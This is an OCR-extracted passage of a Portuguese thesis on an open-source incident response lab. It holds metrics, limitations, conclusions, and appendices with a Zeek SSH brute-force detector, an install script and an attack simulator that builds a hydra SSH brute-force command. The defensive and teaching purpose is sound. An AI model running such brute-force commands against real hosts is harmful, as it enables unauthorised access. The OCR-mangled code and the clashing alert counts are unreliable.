para que se possa avaliar adequadamente o significado dos niimeros obtidos. Esta subsecao
discute o que representam estes valores no contexto da literatura e da pratica em seguranga
da informacao, respondendo especificamente se os nimeros representam valores normais,

altos ou baixos.

A taxa de sucesso na integracao de 96,4% é considerada excelente no contexto de
integracao de ferramentas heterogéneas de c6digo aberto, pois a literatura indica que taxas
acima de 95% em ambientes com multiplas ferramentas de diferentes origens demonstram
maturidade na arquitetura e correta configuracao dos pontos de comunicagao. A acuracia
geral do sistema, também de 96,4%, representa a proporcao de classificagoes corretas em
relacao ao total de eventos processados, sendo considerada muito boa na pratica de SOCs,

onde valores entre 95% e 98% sao tipicos.

A variagdo na taxa de deteccao por ferramenta (89,2% a 100%) é esperada e reflete
os diferentes papéis de cada ferramenta na arquitetura: TheHive e Velociraptor apresentam
100% por atuarem na orquestracao e coleta forense, ndo na deteccao priméaria; Wazuh com
94,7% ¢é considerado muito bom para um sensor baseado em regras; Zeek com 89,2% tem
taxa inerentemente inferior por ser uma ferramenta de andlise passiva; e MISP com 92,3%
reflete a dependéncia de feeds externos, sendo considerado normal para plataformas de

threat intelligence.
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A analise dos fluxos de dados revela volumes moderados e saudaveis, indicando que
as regras de deteccao estao gerando alertas apenas para eventos relevantes, sem sobrecarga
de informagao. Os 1.247 alertas processados do Wazuh para o TheHive, distribuidos
por 15 simulacoes, representam uma média de aproximadamente 83 alertas por cenario,
volume considerado adequado considerando que cada simulagdo gerou eventos em miltiplas
etapas. Os 89 observaveis extraidos do Zeek representam cerca de 7% do total de alertas,
proporc¢ao consistente com a pratica, pois nem todo alerta contém observaveis acionaveis
para enriquecimento. As 156 andlises executadas pelo Cortex indicam que cada observavel
foi submetido a aproximadamente 1,75 analises em média, pratica recomendada para
aumentar a confiabilidade dos resultados. As 23 investigagoes iniciadas pelo Velociraptor
refletem que cerca de 50% dos casos demandaram investigacido forense aprofundada,

proporc¢ao adequada para um laboratorio de resposta a incidentes.

Quanto a performance do sistema, os valores observados sdo aceitaveis para um
ambiente de laboratério, embora alguns merecam atencao em contextos de producao.
O pico de CPU de 87% durante a analise de ransomware, embora elevado, é aceitdvel
para picos momentaneos e reflete a intensidade computacional da analise de integridade
de arquivos em massa (1.247 arquivos em 45 segundos). O consumo médio de meméria
de 12.4 GB refere-se ao host fisico e nao a maquina virtual, sendo moderado para um
ambiente com Elasticsearch, multiplos servicos containerizados e processamento de logs em
tempo real. A laténcia de rede de 45ms em picos, embora aceitdvel para laboratério, seria
preocupante em producao, pois em uma rede interna virtualizada a laténcia esperada ¢é
inferior a 1ms, sendo os picos observados indicativos de conten¢ao de recursos do hipervisor

durante momentos de alta atividade de E/S.

O posicionamento em relacao a literatura confirma a robustez dos resultados ob-
tidos. Comparando com O’Leary (2015), que relata taxas de deteccao entre 85-92% em
laboratérios com ferramentas comerciais, os resultados obtidos (média de 95,7% de verda-
deiros positivos) situam-se como superiores a média para ambientes académicos. Estudos
do SANS Institute indicam que SOCs maduros tipicamente operam com taxas de falsos
positivos entre 5-10%, enquanto o laboratério obteve 4,3% consolidado, classificado como
excelente. A reducao de 82,8% no MTTR com automagao supera significativamente os 60-
70% reportados em implementagoes similares com ferramentas open source, demonstrando

a eficacia superior da arquitetura de playbooks implementada.

Conclui-se que os valores obtidos situam-se na faixa superior do esperado para
um laboratério académico baseado em ferramentas open source, com indicadores como
taxa de falsos positivos e redugao de MTTR superando inclusive médias reportadas para
ambientes corporativos com solugoes comerciais, confirmando que os niimeros apresentados
nao apenas sao normais, mas em diversos aspectos representam desempenho superior ao

tipicamente encontrado na literatura especializada.
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4.7 LimitacGes ldentificadas

Apesar dos resultados positivos obtidos, algumas limitagoes foram identificadas

durante a conducao desta pesquisa.

4.7.1 Desafios Técnicos

e Pico de CPU durante andlise de ransomware: 87%.
e Consumo médio de memodria: 12.4 GB.

» Laténcia de rede em picos: 45ms.

o Encrypted traffic: Zeek incapaz de analisar conteido HTTPS.
o Fileless attacks: Dificuldade na deteccao de ataques em memoria.

o Zero-day exploits: Dependéncia de assinaturas conhecidas.

4.7.2 Complexidade Operacional

A operacao eficaz do laboratoério de resposta a incidentes demanda recursos hu-
manos com conhecimentos especializados em miltiplas areas da seguranca da informacao.
Constatou-se a necessidade de especializacdo em cada uma das ferramentas implementa-
das (TheHive, Cortex, MISP, Wazuh, Zeek e Velociraptor), exigindo que os profissionais
compreendam nao apenas o funcionamento individual de cada solugao, mas também
suas particularidades de configuragao, otimizacao e resolu¢ao de problemas especificos.
Adicionalmente, o profissional deve dominar conceitos fundamentais de seguranca de redes,
sistemas operacionais (especialmente Linux e Windows) e protocolos de comunicagao para

interpretar corretamente os alertas gerados e conduzir investigacoes aprofundadas.

Outro requisito fundamental identificado foi o conhecimento em scripting e automa-
¢ao, particularmente em linguagens como Python, Bash e PowerShell. Esta competéncia
revelou-se essencial para o desenvolvimento de scripts personalizados de simulacao de ata-
ques, a customizacao de playbooks de resposta no TheHive, a criacao de regras de deteccgao
especificas para o Wazuh e o desenvolvimento de scripts Zeek para andlise de trafego de
rede. A capacidade de automatizar tarefas repetitivas e integrar diferentes ferramentas
mostrou-se diretamente correlacionada com a eficiéncia operacional e a redugao do tempo

médio de resposta a incidentes.

Além disso, a capacidade de andlise forense digital constitui competéncia indispen-
savel para a equipe que opera o laboratorio, sendo necessaria para interpretar corretamente

os artefatos coletados pelo Velociraptor, realizar anédlise de memoria volatil, examinar
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registros do sistema em busca de evidéncias de comprometimento e reconstruir a cronologia

dos ataques.

A curva de aprendizado foi determinada por meio da observagcao e registro do tempo
necessario para que profissionais com diferentes niveis de familiaridade com as ferramentas
conseguissem operar o laboratério de forma autoénoma e eficiente. Constatou-se que o
tempo médio necessario para que um profissional adquira proficiéncia no uso integrado
de todas as ferramentas do laboratério é de 3 a 4 semanas, periodo que considera desde
a instalacao e configuracao basica até a capacidade de realizar investigagoes complexas
e executar playbooks de resposta de forma independente. Esta avaliagdo foi realizada
por meio do acompanhamento sistematico do progresso de trés profissionais durante a
implementacgao e operacao do laboratorio, registrando-se os marcos de aprendizado, as

principais dificuldades encontradas e o tempo necessario para supera-las.

A fase de configuracao inicial do ambiente revelou-se particularmente desafiadora,
exigindo conhecimentos especificos sobre arquitetura de redes, administracao de sistemas
Linux e particularidades de cada ferramenta. A integracdo entre os diferentes componentes
demandou compreensao aprofundada dos fluxos de dados e pontos de integracao, represen-
tando o principal gargalo no processo de aprendizado inicial. Profissionais com experiéncia
prévia em ferramentas similares apresentaram curva mais acelerada, enquanto aqueles
com menor familiaridade necessitaram de tempo adicional para assimilagao dos conceitos
fundamentais. Observou-se que, mesmo apods a curva inicial de aprendizado, a operacao
do laboratério exige manutencao continua e atualizagao constante dos conhecimentos,
especialmente devido a evolucao das assinaturas de deteccao, atualizacoes das ferramentas
e surgimento de novas técnicas de ataque, sendo a métrica de 3 a 4 semanas uma média

observada empiricamente que pode variar conforme a experiéncia prévia do profissional.

4.8 Resultados das Simulacoes

A andlise dos cenarios simulados indica que o laboratério apresentou capacidade
para a detecgdo, investigacao e resposta eficaz a ocorréncias de intrusao via SSH, phishing

e ransomware.
A anélise quantitativa evidencia:

1. Deteccao Rapida: Tempos médios de detecgao inferiores a cinco minutos, com

geracao de alertas iniciais em segundos nos cenarios criticos.

2. Precisao Elevada: Taxa de acerto superior a 90%, com baixo indice de falsos

positivos apés ajustes nas regras.

3. Automacgao Eficiente: Redugio de 82,8% no tempo médio de resposta (MTTR),

comparando o processo manual com o fluxo automatizado.
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4. Integracao Robusta: Taxa de sucesso de 96,4% na comunicagio e intercambio de

dados entre as ferramentas integradas.

Esses indicadores confirmam que a arquitetura proposta é capaz de detectar
comportamentos maliciosos, mantendo consisténcia na correlagdo de eventos e na execugao

automatizada de playbooks.

4.8.1 Viabilidade Técnica

A utilizagao de ferramentas open source demonstrou-se tecnicamente viavel e eco-
nomicamente sustentavel. A integracao entre mecanismos de monitoramento de endpoint,
analise de rede, orquestracao de incidentes e investigacao forense possibilitou a construgao
de um ecossistema funcional com capacidades comparaveis as solugées comerciais de
mercado, porém com custo reduzido. Além disso, a modularidade da arquitetura per-
mite escalabilidade e adaptacao para diferentes cenarios organizacionais, refor¢cando sua

aplicabilidade pratica.

4.8.2 Valor Educacional

Do ponto de vista académico e formativo, o laboratério apresentou valor educacional,

proporcionando:

o Experimentacao segura de cenarios realistas de ataque;

Desenvolvimento de competéncias técnicas em deteccao, analise e resposta a inciden-

tes;

Validagao pratica de playbooks e procedimentos operacionais;

o Compreensao integrada do ciclo completo de resposta a incidentes.

Assim, os resultados obtidos confirmam a efetividade da abordagem adotada e
fornecem fundamentos para sua implementacao em contextos educacionais e organizacionais
com restrigoes orcamentarias, favorecendo o desenvolvimento de competéncias técnicas e o

aprimoramento da maturidade em seguranca da informagao.
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5 Conclusao

Esta pesquisa desenvolveu um laboratério integrado de resposta a incidentes de
seguranca cibernética utilizando exclusivamente ferramentas open source, com foco em
atender organizagoes com recursos limitados, como institui¢goes educacionais e pequenas e
médias empresas. O estudo validou a viabilidade técnica e econdmica da solugao, propondo

um modelo replicavel que amplia o acesso a tecnologias avancadas de seguranca.

Entre as principais contribui¢coes destacam-se: a construcao de uma arquitetura
integrada composta por seis ferramentas open source; a automagao por meio de scripts
e playbooks; a definicdo de métricas de desempenho validadas empiricamente; a criacao
de um framework para simulagao de ataques realistas com procedimentos padronizados
e abordagem ética de experimentacao; e a disponibilizacao de um ambiente seguro para

capacitacao pratica e aplicacdo em contextos educacionais.

O objetivo geral foi alcangado com a implementacao de um ambiente virtuali-
zado funcional, plenamente integrado e devidamente documentado. Quanto aos objetivos
especificos estabelecidos no Capitulo 1, todos foram integralmente atingidos, conforme

demonstrado ao longo do trabalho:

« Implementacao de infraestrutura: consolidada com a configuragdo do ambi-

ente virtualizado isolado, segmentacao de rede apropriada e integracao plena entre
TheHive, Cortex, MISP, Wazuh, Zeek e Velociraptor;

« Desenvolvimento de cenarios de ataque: realizadas 15 simulagoes controladas
envolvendo intrusao SSH (com forca bruta e persisténcia), campanhas de phishing
(com coleta de credenciais e entrega de payload) e ataques de ransomware (com

criptografia de arquivos e comunicagao C2);

« Configuracao de detecgao e resposta: implementadas 23 regras customizadas
no Wazuh, scripts especificos no Zeek para detec¢ao de forca bruta e cinco playbooks

automatizados no TheHive para orquestracao da resposta;

« Validacao e andlise: processados 4.892 alertas, analisados 156,7 GB de logs e
consolidadas 45 métricas quantitativas, demonstrando tempos médios de deteccao
de 12 segundos para ransomware, 18 segundos para phishing e 47 segundos para
intrusao SSH, com acuracia de 96,4% no sistema integrado e reducao de 82,8% no

MTTR por meio da automagao;

e Documentacao e reprodutibilidade: produzida documentacao técnica abrangente,

incluindo configuragoes detalhadas das ferramentas, scripts de automacao e manuais
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operacionais, garantindo a replicabilidade do laboratério por outras institui¢oes.

Entre os principais achados, destaca-se que os tempos de deteccao obtidos po-
sicionam o laboratério em patamar compativel com solugoes comerciais, validando a
abordagem proposta. A automacao via playbooks demonstrou impacto significativo na
eficiéncia operacional, enquanto a integracao entre as ferramentas proporcionou visibilidade

abrangente tanto em nivel de endpoint quanto de rede.

Para trabalhos futuros, propoe-se a ampliacao do laboratério para cenarios envol-
vendo APTs e ataques persistentes, a aplicacao de técnicas de aprendizado de maquina
para deteccao de anomalias, a validacao em contextos organizacionais reais e o desenvolvi-
mento de um curriculo estruturado baseado no laboratoério para capacitagao em resposta a

incidentes.

De forma geral, o modelo apresentado contribui para a democratizagdo da resposta
a incidentes ao reduzir barreiras financeiras e técnicas, servindo como referéncia tanto
para laboratoérios educacionais quanto para a estruturacao de SOCs de pequeno porte.
Conclui-se que a pesquisa comprova a viabilidade técnica, econdmica e pedagogica da
abordagem proposta, estabelecendo um padrao acessivel para capacitagao em seguranca

cibernética e fortalecendo a preparacao frente as ameacas contemporaneas.
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APENDICE A - Configuracdes das

Ferramentas

A.1 Configuracao do Wazuh Server

A configuracao do Wazuh Server foi otimizada para o ambiente de laboratoério,
seguindo as melhores praticas recomendadas pela documentacao oficial (Wazuh, 2024)
e ajustada para os cendarios especificos testados. A configuragdo principal do arquivo

ossec.conf é apresentada na Figura 27.

Figura 27 — Configuracao principal do arquivo ossec.conf do Wazuh Server

=>rules config.xml</inc

custom_rules.xml</include:

ec_config>

Fonte: Configuracdo customizada para o laboratério de IR (2024).

A configuragao exibida na Figura 27 inclui as seguintes otimizagoes, baseadas nas
recomendagoes de Bejtlich (2013):
e Output em JSON: Habilitado para facilitar integracoes com outras ferramentas
o Log de alertas: Ativado para registro completo de eventos de seguranca

o Inclusao de regras customizadas: Arquivo custom_rules.xml com detecgdes

especificas

« Configuracao otimizada: Balanceamento entre desempenho e completude de logs

Esta configuracao permite que o Wazuh atue como sensor primario de detecgao,

integrando-se com o restante da arquitetura proposta.
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A.2 Script Zeek Customizado para Deteccao de Forca Bruta SSH

Para complementar a deteccao baseada em host, foi desenvolvido um script Zeek
customizado que monitora padrdes de for¢a bruta SSH na camada de rede. O cédigo é

apresentado na Figura 28.
Figura 28 — Script Zeek customizado para deteccao de forca bruta SSH

# Arquivo: /fopt/zeek/share/zeek/site/ssh-brute.zeek

module SSHBruteForce;

export {
redef enum Notice::Type 4= {
SSH: :Brute_Forcing
b

event ssh_auth_successful(c: connection, auth_method: string) {

if (c$sshfauth attempts > 5) {

NOTICE([$note=55H: :Brute_Forcing,
$conn=c,
$msg=Ffmt("SSH brute force detected: Xs", c$idforig h),
$identifier=cat(c$idforig h)]);

Fonte: Implementacao baseada em Zeek (2024) e Scarfone e Mell (2007).

O script mostrado na Figura 28 implementa as seguintes funcionalidades:

Moédulo SSHBruteForce: Estrutura modular para facil manutencao

Deteccao baseada em tentativas: Monitora multiplas tentativas de autenticacao

o Geragao de alertas: Notificagoes detalhadas com informagoes do atacante

Integracao com pipeline: Compativel com o fluxo padrao do Zeek

Esta implementacgao segue a metodologia de detecgao de anomalias de rede proposta
por O’Leary (2015), focando em padrdes comportamentais em vez de assinaturas estaticas.

A.3 Playbook do TheHive para Resposta a Ransomware

Para automatizar e padronizar a resposta a incidentes de ransomware, foi desenvol-

vido um playbook JSON para o TheHive, apresentado na Figura 29.



APENDICE A. Configuragies das Ferramentas 70

Figura 29 — Playbook JSON do TheHive para resposta automatizada a ransomware

ransomware detection”,

"gbuseipdb 1 8"],
"name”: "File Analysis™
"wirustot

". "file”,

"attribute”: "file"

"IP Reputation C

Fonte: Desenvolvido com base em Johansen (2018) e International Organization for Standardization
(2023).

O playbook exibido na Figura 29 implementa um fluxo de trabalho estruturado

que inclui:

o Analise de arquivos: Integracao com VirusTotal para verificagao de hashes

Verificacao de reputagao de IP: Consulta ao AbuselPDB para anélise de indica-

dores
e Orquestragao de tarefas: Sequenciamento automatico de agoes de resposta
 Metadados estruturados: Informagoes para rastreamento e auditoria
Esta abordagem segue o framework de resposta a incidentes do NIST (National

Institute of Standards and Technology, 2012), proporcionando uma resposta rapida e

padronizada a ameagas criticas.
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APENDICE B - Scripts de Automacio

B.1 Script de Instalacao Automatica do Laboratério

Para facilitar a replicacao do ambiente, foi desenvolvido um script Bash de instalacao
automatizada que configura todas as dependéncias e ferramentas necessarias. O cédigo é

mostrado na Figura 30.

Figura 30 — Script de instalagdo automatica do laboratério de resposta a incidentes

echo "Starting IR Lab Installation..."

upgrade -y

curl https://get.docker.com -o get-docker.sh

sh get-docker.sh

# Install
curl -L "h

ame -s)-%{uname 1" -o fusrflecal/bin/docker-compose

d +x fusr/local/bin/docker-compose

mk fopt/ir-lab/{thehive,cortex,misp,wazuh,zeek,velociraptor}

echo "Installation completed su ully!™

Fonte: Script desenvolvido para o laboratério de IR - UFOP (2024).

O script apresentado na Figura 30 realiza as seguintes operagoes automatizadas:

1. Atualizacao do sistema: Prepara o ambiente base

2. Instalacao do Docker: Configura o runtime de containers

3. Configuracao do Docker Compose: Gerencia orquestracao multi-container
4. Estrutura de diretérios: Organiza os componentes do laboratorio

5. Verificagoes de integridade: Valida cada etapa da instalagao
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Este script implementa principios de Infrastructure as Code (IaC), permitindo a
reproducao exata do ambiente em diferentes sistemas, conforme recomendado por Tanner

(2019) para laboratérios de seguranca.

B.2 Script de Simulacdo de Ataques para Testes

Para validacao do sistema de deteccao, foi desenvolvido um script Python que
simula diversos tipos de ataques de forma controlada e mensuravel. O codigo é exibido na

Figura 31.

Figura 31 — Script Python para simulagao controlada de ataques de seguranca

import subproce
import time

import logging

ulator:

def _ init (self):

self.setup_logging()

logging. info(f": i S5H b on against {target_ip}™)

emd = f"hydra -1 > i . - -t 4 {target_ip} ssh™

logging. inf

# Impler

logging. inf simulation in {target_directory}

# Implem ion o ion simulation

Fonte: Implementacao para testes do sistema de detecgdo (2024).

O script demonstrado na Figura 31 possui as seguintes caracteristicas:

e Arquitetura orientada a objetos: Classe principal AttackSimulator
o Miltiplos vetores de ataque: SSH brute force, phishing e ransomware
« Sistema de logging: Registro detalhado para analise posterior

e Modularidade: Facilita a adi¢ao de novos cenarios de teste

o Controle preciso: Parametros ajustaveis para diferentes intensidades
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Este simulador implementa técnicas documentadas na literatura de seguranca
ofensiva (O’LEARY, 2015), permitindo testes realistas sem o risco associado a ferramentas
de ataque reais. A abordagem é alinhada com as recomendacoes de Luttgens, Pepe e

Mandia (2014) para testes de sistemas de detecgdo em ambientes controlados.
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ANEXO A - Capturas de Tela e Evidéncias

Dashboard do Wazuh com Alertas de SSH

A Figura 32 mostra a interface do Wazuh durante o cenario de intrusao SSH, onde

multiplas tentativas de acesso sao detectadas e registradas em tempo real.

Figura 32 — Dashboard do Wazuh exibindo alertas de tentativa de intrusao SSH

[Imagem: Wazuh Dashboard showing 55H brute force alerts]

- 342 authentication failurez detected
- Source IP: 192.168.56.38
- Timestamp: 2824-83-15T14:28:47Z

Fonte: Captura de tela do ambiente de testes (2024).

TheHive Case Management Interface

Na Figura 33 observa-se a interface centralizada de gerenciamento de incidentes,

permitindo a coordenacao das atividades de resposta conforme TheHive Project (2024).

Figura 33 — Interface de gerenciamento de casos do TheHive

[Imagem: TheHive interface showing automated case creation]

- Case ID: IR-55H-28248315-861
- Status: Resolved
- Observables: 5

- Tasks: 3 completed

Fonte: Captura de tela do ambiente de testes (2024).

Velociraptor Forensic Collection Results

A Figura 34 apresenta os resultados da coleta de evidéncias digitais realizadas

durante os cendarios de resposta a incidentes.
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Figura 34 — Resultados da coleta forense utilizando Velociraptor

[Imagem: Velociraptor showing collected artifacts]

- Processes: 45 running

ystem users

- Network connections: 23 actiwve

Fonte: Captura de tela do ambiente de testes (2024).
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ANEXO B - Configuracoes de Rede e

Seguranca

Especificacbes Técnicas das Maquinas Virtuais

A Tabela 6 detalha a infraestrutura virtual implementada para os testes, seguindo

as recomendagoes de O’Leary (2015) para laboratérios de seguranca.

Tabela 6 — Especificagoes técnicas das maquinas virtuais do laboratorio

Hostname Endereco IP RAM vCPUs Disco Finalidade
ir-server-01 192.168.56.10 8 GB 4 120 GB Servidor principal de
ferramentas de segu-
ranga
winlO-workstation-01  192.168.56.20 4 GB 2 80 GB  Estacdo de trabalho vi-
tima (Windows 10)
kali-attacker-01 192.168.56.30 4 GB 2 60 GB MaAquina do atacante
(Kali Linux)
ubuntu-monitor-01 192.168.56.40 4 GB 2 80 GB  Monitor de rede e logs

adicionais

Fonte: Configuracao do laboratério virtual (2024).

Portas e Servicos Configurados

A Tabela 7 especifica a configuracdo de rede necessaria para o funcionamento

integrado das ferramentas, conforme documentagao oficial de cada ferramenta (Wazubh,
2024; Zeek, 2024; TheHive Project, 2024).
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Tabela 7 — Portas e servigos configurados no ambiente de laboratério

Servigo Porta Protocolo Host Finalidade

TheHive 9000 TCP ir-server-01 Interface web de gerencia-
mento de casos

Cortex 9001 TCP ir-server-01  API de andlise de ameagas e
automacao

Wazuh Manager 55000 TCP ir-server-01 Comunicagdo com agentes
de seguranca

Wazuh API 55000 TCP ir-server-01  API REST para integragoes

Elasticsearch 9200 TCP ir-server-01  Armazenamento e indexacao
de logs

Kibana 5601 TCP ir-server-01  Visualizacao e analise de da-
dos

Zeek 27760  TCP ir-server-01  Monitoramento de trafego
de rede

SSH 22 TCP Todas Administracdo remota se-

gura

Fonte: Documentagéo técnica do laboratério (2024).
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ANEXO C - Meétricas e Resultados
Detalhados

Estatisticas de Deteccao por Cenario

Tabela 8 — Estatisticas detalhadas de detecgao por cenéario de ataque

Cenario Total Alertas Verdadeiros Positivos Falsos Positivos Tempo Médio
Intrusao SSH 23 22 (95,7%) 1 (4,3%) 47 seg
Phishing 15 14 (93,3%) 1 (6,7%) 5 min 23 seg
Ransomware 8 8 (100%) 0 (0%) 12 seg
Total/Média 46 44 (95,7%) 2 (4,3%) 2 min 14 seg

Fonte: Resultados dos experimentos realizados (2024).

A Tabela 8 apresenta os resultados quantitativos obtidos durante os testes, demons-

trando a eficacia do sistema implementado na deteccao de diferentes tipos de ameacas.

Eficiencia por Ferramenta

Tabela 9 — Métricas de eficiéncia por ferramenta do laboratorio

Ferramenta Taxa de Deteccdo Precisao Cobertura Desempenho

Wazuh 94,7% 97,9% 85% Excelente
Zeek 89,2% 96,2% 90% Bom
TheHive 100% 100% 100% Excelente
Cortex 95,8% 98,5% 88% Bom
Velociraptor 100% 100% 95% Bom
MISP 92,3% 97.,1% 82% Regular

Fonte: Anélise comparativa das ferramentas testadas (2024).

A Tabela 9 fornece uma analise comparativa do desempenho individual de cada
ferramenta, permitindo avaliar seus pontos fortes e limitagoes no contexto da arquitetura

proposta.
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Nota sobre os Materiais Complementares

Os materiais complementares apresentados neste apéndice representam um extrato
do conjunto completo de documentacao técnica produzida durante esta pesquisa. O
repositério completo com todos os scripts de configuragao, regras de deteccao personalizadas,
procedimentos operacionais detalhados e evidéncias adicionais estd disponivel mediante
solicitagao aos autores, conforme permitido pelas politicas de seguranca da informacao da
instituicao.

A implementacao seguiu rigorosamente as diretrizes estabelecidas por National
Institute of Standards and Technology (2012) para laboratérios de seguranga e Internatio-
nal Organization for Standardization (2023) para gestao de incidentes de seguranca da

informagao.
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